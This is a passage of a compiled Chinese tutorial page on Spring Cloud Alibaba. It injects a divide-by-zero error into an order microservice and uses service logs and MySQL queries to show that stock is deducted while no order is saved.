punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br")])]),a("p",[s._v("修改后的部分代码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Result")]),a("span",{pre:!0,attrs:{class:"token generics"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Integer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" result "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" productService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("updateCount")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getProductId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCount")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("if")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throw")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RuntimeException")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"触发了商品微服务的容错逻辑: "')]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("JSONObject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("toJSONString")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("if")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("!=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HttpCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("SUCCESS")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throw")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RuntimeException")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"库存扣减失败"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nlog"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"库存扣减成功"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("int")]),s._v(" i"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\nrocketMQTemplate"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("convertAndSend")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"order-topic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br")])]),a("p",[a("strong",[s._v("注意:这里只给出了修改的部分代码,修改后的完整代码,加入【冰河技术】知识星球获取。")])]),s._v(" "),a("p",[s._v("(2)修改订单微服务的"),a("code",[s._v("io.binghe.shop.order.controller.OrderController")]),s._v("类中注入的OrderService的bean名称,将其修改为orderServiceV8,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Qualifier")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"orderServiceV8"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderService")]),s._v(" orderService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br")])]),a("p",[s._v("(3)分别启动Nacos、Sentinel、ZinKin、RocketMQ,并启动用户微服务,商品微服务,订单微服务和服务网关。打开浏览器访问"),a("code",[s._v("http://localhost:10001/server-order/order/submit_order?userId=1001&productId=1001&count=1")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-001.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("返回的原始数据如下所示。")]),s._v(" "),a("div",{staticClass:"language-json line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-json"}},[a("code",[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"code"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("500")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"codeMsg"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"执行失败"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"data"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"/ by zero"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,下单减库存时,系统已经抛出了异常。")]),s._v(" "),a("p",[s._v("(4)查看各个微服务和网关输出的日志信息,分别如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("用户微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的用户信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"password"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"c26be8aaf53b15054896983b43eb6a65"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("可以看到,用户微服务无异常信息。")]),s._v(" "),a("ul",[a("li",[s._v("商品微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的商品信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proName"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"华为"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proStock"')]),s._v(":100"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n更新商品库存传递的参数为: 商品id:1001, 购买数量:1\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,商品微服务无异常信息。")]),s._v(" "),a("ul",[a("li",[s._v("订单微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("提交订单时传递的参数:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"count"')]),s._v(":1,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"empty"')]),s._v(":false,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"productId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n库存扣减成功\n服务器抛出了异常:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\njava.lang.ArithmeticException: / by zero\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("可以看到,订单微服务抛出了ArithmeticException异常。")]),s._v(" "),a("ul",[a("li",[s._v("网关服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("执行前置过滤器逻辑\n执行后置过滤器逻辑\n访问接口主机: localhost\n访问接口端口: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10001")]),s._v("\n访问接口URL: /server-order/order/submit_order\n访问接口URL参数: "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("userId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("productId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("count")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n访问接口时长: 1054ms\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("可以看到,网关服务无异常信息。")]),s._v(" "),a("h3",{attrs:{id:"查询数据表数据-2"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查询数据表数据-2"}},[s._v("#")]),s._v(" 查询数据表数据")]),s._v(" "),a("p",[s._v("(1)打开cmd终端,进入MySQL命令行,并进入shop商城数据库,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("C:\\Users\\binghe"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("mysql "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("uroot "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("p\nEnter password: "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v("\nWelcome "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" the MySQL monitor"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Commands "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("end")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("with")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" \\g"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\nYour MySQL connection id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("15")]),s._v("\nServer version: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5.7")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v(".35")]),s._v(" MySQL Community Server "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("GPL"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n\nCopyright "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("c"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2021")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" Oracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its affiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nOracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" a registered trademark "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" Oracle Corporation "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its\naffiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Other names may be trademarks "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" their respective\nowners"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'help;'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\h'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("for")]),s._v(" help"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\c'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" clear the "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("current")]),s._v(" input statement"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nmysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("use")]),s._v(" shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Database")]),s._v(" changed\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br")])]),a("p",[s._v("(2)查看商品数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_product"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_name "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_price "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_stock "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 华为 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2399.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("99")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1002")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 小米 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1003")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" iphone "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("4999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("rows")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("in")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br")])]),a("p",[s._v("可以看到,此时商品数据表中,id为1001的商品库存数量由100变成了99,减少了1个库存数量。")]),s._v(" "),a("p",[s._v("(3)查看订单数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单数据表为空。")]),s._v(" 